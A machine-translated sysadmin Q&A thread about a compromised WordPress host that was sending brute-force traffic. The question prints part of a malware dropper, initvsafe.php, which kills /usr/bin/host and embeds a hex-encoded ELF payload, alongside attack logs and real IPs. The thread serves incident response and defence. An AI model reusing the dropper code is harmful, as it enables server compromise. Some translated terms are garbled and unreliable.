有人滥用我的服务器,但我该如何阻止这种滥用行为?

Ton*_*ark 5 abuse intrusion-prevention

我是一群虚拟化网络服务器的初学者系统管理员。最近,我们收到一封电子邮件,称我们的一台服务器正被用于“暴力”攻击。该电子邮件的内容类似于以下内容。

问候,

/somehost/ 滥用团队想通知您,我们已经从您的网络、IP 地址 /my 对共享托管服务器 /somehost/.ru /ip-number/ 上的 Joomla/WordPress 控制面板进行了大规模暴力尝试-IP地址/

在过去 30 分钟内,我们记录了 1500 次尝试,如下所示:

/my-ip-address/ /他们的域名/ - [12/Jan/2014:13:29:05 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”

/my-ip-address/ /他们的域名/ - [12/Jan/2014:13:29:05 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”

/my-ip-address/ /他们的域名/ - [12/Jan/2014:13:29:05 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”

/my-ip-address/ /他们的域名/ - [12/Jan/2014:13:29:06 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”

/my-ip-address/ /他们的域名/ - [12/Jan/2014:13:29:06 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”

先前在此服务器 (/some-host/.ru)[/their-ip/] 记录的此尝试总数:

====

此消息由 /some-company-name/ 安全系统自动发送。您从公共 WhoIs 服务获得的电子邮件地址。如果您误收到此消息,我们深表歉意。如果您的电子邮件与该 IP 地址或网络无关,请联系我们。

====

谢谢你,/somehost/滥用团队

http:///somehost/ 点ru

/俄罗斯的一些电话号码/,

/更多俄罗斯联系方式/

  • 我应该如何看待这封电子邮件?这是一个骗局还是一个不应忽视的重要信息?

我觉得很奇怪,他们写“Joomla/Wordpress”,而在他们的日志中可以明显看到“wp-login.php”是来自 WordPress 的 PHP 脚本。

在我们的服务器上,我们通过 Webmin/Virtualmin 和无法从外部访问的 Squid 服务器托管多个 WordPress 博客。

iftop我用和观察了一段时间的交通nethogs,没有看到任何可疑的东西。鱿鱼访问日志对我来说似乎很正常。

我们可以在“安全”日志中看到许多登录我们服务器的尝试,但没有人管理它来获得访问权限。

请参阅以下来自安全的转储。

an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas
Run Code Online (Sandbox Code Playgroud)

还有另一个。

Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye
Run Code Online (Sandbox Code Playgroud)

通过“who”,我可以清楚地看到只有我通过 SSH 登录。

今天我将所有 Webmin 和 Virtualmin 模块以及 Squid 更新到最新版本。

  • 我们现在应该做什么?我们下一步应该采取什么措施来保护服务器免遭攻击?
  • 有必要吗?
  • 我们应该更改/查看哪些日志文件或配置?

编辑:

到目前为止我所做的:

  • 我用find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log. 没有改变。
  • 我检查了我们所有域的 AWStats。根据 AWStats 的数据,甚至没有一个域的传输量超过 40MB。
  • WordPress 在攻击当天是最新的。
  • 我更新了所有 Webmin 和 Virtualmin 模块。
  • 我更新了鱿鱼并将其端口更改为 3128 以外的其他端口。我只保留 80、443 和 21 作为“安全”端口。
  • 我更新了fail2ban。

我不想按照如何处理受感染的服务器? 中的建议断开服务器与互联网的连接。。我们的数据已备份,因此我们目前是安全的。然而,我想找出导致攻击的原因,但我仍然无法实现这一目标。

编辑 2014 年 1 月 15 日:

nethogs我发现正在接收/usr/bin/host和发送的数据比预期多得多。

NetHogs version 0.8.0

  PID USER     PROGRAM                                                                                                 DEV        SENT      RECEIVED
10267 /domain//usr/bin/host                                                                                           eth0     120.571     791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0                                                                                  eth0       2.177       0.111 KB/sec
?     root     /ip-address/:39586-119.247.224.98:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55718-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:38474-184.154.230.15:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46593-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:58733-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:41154-83.170.122.1:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39996-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:39872-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:37429-144.76.15.247:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:35063-216.12.197.226:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:51335-153.120.33.64:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:58344-64.207.178.120:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55848-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46799-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:38110-66.155.9.238:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39713-76.74.254.120:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:33814-209.217.227.30:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:41009-212.113.141.212:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:57027-173.11.110.117:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:45436-83.222.250.186:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:59143-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:43357-217.9.42.182:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:32981-82.113.145.170:80                                                                             0.000       0.000 KB/sec
?     root     unknown TCP                                                                                                        0.000       0.000 KB/sec

  TOTAL                                                                                                                         122.749     791.235 KB/sec
Run Code Online (Sandbox Code Playgroud)

lsof当在 PID 上运行时,您可以清楚地看到 WordPress 安装确实出了问题。

[root@/domain/ logs]# lsof | grep 1706
host       1706 /domain/  cwd       DIR              253,0     4096      10178 /home//domain//public_html/wp-content/themes/twentyeleven
host       1706 /domain/  rtd       DIR              253,0     4096          2 /
host       1706 /domain/  txt       REG              253,0   137592    1054438 /usr/bin/host
host       1706 /domain/  mem       REG              253,0   156928    1178048 /lib64/ld-2.12.so
host       1706 /domain/  mem       REG              253,0    22536    1178065 /lib64/libdl-2.12.so
host       1706 /domain/  mem       REG              253,0  1926800    1178057 /lib64/libc-2.12.so
host       1706 /domain/  mem       REG              253,0   145896    1178061 /lib64/libpthread-2.12.so
host       1706 /domain/  mem       REG              253,0    91096    1178098 /lib64/libz.so.1.2.3
host       1706 /domain/  mem       REG              253,0   358560    1051774 /usr/lib64/libisc.so.83.0.3
host       1706 /domain/  mem       REG              253,0   599384    1178963 /lib64/libm-2.12.so
host       1706 /domain/  mem       REG              253,0   124624    1178074 /lib64/libselinux.so.1
host       1706 /domain/  mem       REG              253,0   113952    1178072 /lib64/libresolv-2.12.so
host       1706 /domain/  mem       REG              253,0  1674840    1050692 /usr/lib64/libdns.so.81.4.1
host       1706 /domain/  mem       REG              253,0   140568    1051828 /usr/lib64/libisccfg.so.82.0.1
host       1706 /domain/  mem       REG              253,0    34696    1051827 /usr/lib64/libisccc.so.80.0.0
host       1706 /domain/  mem       REG              253,0    17256    1178085 /lib64/libcom_err.so.2.1
host       1706 /domain/  mem       REG              253,0  1953536    1050724 /usr/lib64/libcrypto.so.1.0.1e
host       1706 /domain/  mem       REG              253,0    12592    1178067 /lib64/libkeyutils.so.1.3
host       1706 /domain/  mem       REG              253,0    46368    1178081 /lib64/libkrb5support.so.0.1
host       1706 /domain/  mem       REG              253,0    19016    1178989 /lib64/libcap.so.2.16
host       1706 /domain/  mem       REG              253,0   944712    1178089 /lib64/libkrb5.so.3.3
host       1706 /domain/  mem       REG              253,0   177520    1178083 /lib64/libk5crypto.so.3.1
host       1706 /domain/  mem       REG              253,0   209120    1180550 /lib64/libidn.so.11.6.1
host       1706 /domain/  mem       REG              253,0   280520    1178096 /lib64/libgssapi_krb5.so.2.2
host       1706 /domain/  mem       REG              253,0    52944    1051829 /usr/lib64/libbind9.so.80.0.4
host       1706 /domain/  mem       REG              253,0    75936    1052874 /usr/lib64/liblwres.so.80.0.2
host       1706 /domain/  mem       REG              253,0    21152    1178987 /lib64/libattr.so.1.1.0
host       1706 /domain/  mem       REG              253,0  1383368    1051772 /usr/lib64/libxml2.so.2.7.6
host       1706 /domain/  DEL       REG              253,0                 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host       1706 /domain/  mem       REG              253,0    27424    1178071 /lib64/libnss_dns-2.12.so
host       1706 /domain/  mem       REG              253,0    65928    1178073 /lib64/libnss_files-2.12.so
host       1706 /domain/  mem       REG              253,0 12582912      11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host       1706 /domain/  DEL       REG              253,0                 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host       1706 /domain/    0r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    1r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    2r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    3r      CHR                1,3      0t0       3782 /dev/null
spamd     18546        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18548        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18549        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
Run Code Online (Sandbox Code Playgroud)

我得看看home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so

简而言之,2014 年 1 月更改的所有文件都不在 WordPress 的标准 211 主题安装中。例如,有一个名为 的脚本initvsafe.php可用于在文件系统中存储文件。

<?php

header("Content-type: text/plain");

if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}

@system("killall -9 ".basename("/usr/bin/host"));

$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

...
Run Code Online (Sandbox Code Playgroud)

Gra*_*ant 4

这可能是合法的。它没有明确指出 WordPress 的原因是因为它是一条自动消息 - 由某些脚本自动发送,该脚本检测到此类攻击并将其报告给源所有者。

如果您的服务器遭到黑客攻击,攻击者要做的第一件事就是为 who、ls 和类似命令安装修改后的二进制文件以隐藏自己的活动。并从日志中删除他们的登录记录。所以你可能受到了损害。 如何处理受感染的服务器?涵盖要做什么。

最有可能的是,他们没有通过 SSH 获得访问权限,而是通过充当代理服务器的 PHP 脚本之类的方式获得访问权限。检查您的所有网站是否有不属于的文件。还要检查访问日志是否有异常活动。检查过时的(甚至是最新的,但有报告的漏洞)版本的 WordPress、phpmyadmin 等。